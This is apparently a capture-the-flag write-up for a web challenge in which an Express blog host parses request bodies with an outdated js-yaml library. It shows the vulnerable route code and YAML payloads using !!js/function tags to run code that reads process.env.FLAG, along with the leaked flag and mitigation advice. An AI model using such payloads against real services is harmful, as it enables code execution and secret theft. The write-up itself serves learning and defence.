YAML is the best javascript object notation. So I made a blog hoster with YAML + JS!

Category: Web

Solver: nh1729

Flag: GPNCTF{yet_ano7hER_misT4ke_Lan6UAGe}

Challenge Overview

The challenge is a small nodejs project hosting an express web server. It exposes routes to register users, edit blogs and blog posts associated with them and to read blog posts by name, all stored in-memory.

Each user can have multiple named blogs and each blog has a list of posts, each with a content. The posts can be accessed by the blog name and post index.

User authentication is password-based for each request and each user can edit and list only their own blogs, while unauthenticated users can access them if they know the blog name.

Initially, there is only one user registered: admin, who does not have a password set and thus cannot be authenticated as. They have one blog whose name is the flag.

The interesting part of the challenge is request parsing: Instead of a usual JSON payload, routes parse request bodies as yaml using yaml.load from the js-yaml library.

The most complex route is the one to edit one’s own blogs:

app.post('/edit-blogs', (req, res) => {
    console.log(req.body);
    if (typeof req.body?.username !== "string" || typeof req.body?.password !== "string" || typeof req.body?.blogs !== "object") {
        return res.status(400).send("Invalid input");
    }
    let user = users[req.body.username];
    console.log({user, pw: user.password, sha: sha256(req.body.password)})
    if (!user || user.password !== sha256(req.body.password)) return res.status(403).send("Invalid credentials");
    for (let blogName in req.body.blogs) {
        let taken = false;
        for (let username in users) {
            if (Object.keys(users[username]?.blogs?.[blogName] || {}).length > 0 && username !== req.body.username) {
                taken = true;
            }
        }
        if (taken) continue // user cannot write to this blog
        let blog = user.blogs[blogName] ??= {}
        let newPosts = req.body.blogs[blogName].posts || [];

        for (let post of newPosts) {
            if (post.slug !== undefined && !post.slug.match(/\d\d-\d\d-\d\d-.*/)) {
                return res.status(400).send("Invalid post slug");
            }
        }

        // set to both ID and slug for posts without slugs
        for (let postId in newPosts) {
            if (postId === "__proto__") return res.status(400).send("Invalid post slug");
            let post = newPosts[postId];
            if (typeof post.content !== "string") return res.status(400).send("Invalid post content");
            blog[postId] = blog[post.slug] = post.content
        }
    }
    res.json(user);
})

Writeup

Upon installing the dependencies for local testing, we notice that js-yaml is out of date by one major version, so we checked out the changelog [1].

  • Breaking: “unsafe” tags !!js/function, !!js/regexp, !!js/undefined are moved to js-yaml-js-types package.
  • Breaking: removed safe* functions. Use load, loadAll, dump instead which are all now safe by default.

Okay, load appears to not be safe in the version used by the challenge. Specifically, there are special tags that create objects of the specific JavaScript types Function, Regexp and undefined.

That function primitive looked promising, we just needed to have some function called on an object from our request. We would then use that to read and somehow exfiltrate the flag.

Since it is the one with the most logic and output, we opted to use the /edit-posts route, and the obvious first function that could be called on an input is toString when an object is coerced to a String.

Skimming through the code, we found the slug property promising. It is being coerced by being used as a property name.

            blog[postId] = blog[post.slug] = post.content

We quickly built a payload that should return the flag as a post slug.

username: test
password: test
blogs:
    x:
        posts:
          - content: y
            slug: { toString: !!js/function '() => process.env.FLAG' }

However, we encountered an error:

TypeError: post.slug.match is not a function

This error originates from the line

if (post.slug !== undefined && !post.slug.match(/\d\d-\d\d-\d\d-.*/))

Easy enough, we can simply add a match function (the slug should pretend to match the regex)

username: test
password: test
blogs:
    x:
        posts:
          - content: y
            slug: { toString: !!js/function '() => process.env.FLAG', match: !!js/function '() => true' }

And we got the flag.

{"password":"9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08","blogs":{"x":{"0":"hui","GPNCTF{yet_ano7hER_misT4ke_Lan6UAGe}":"y"}}}

Mitigations

Keep your dependencies up-to-date and use safe* functions to load untrusted user input.

Other resources

[1] https://github.com/nodeca/js-yaml/blob/master/CHANGELOG.md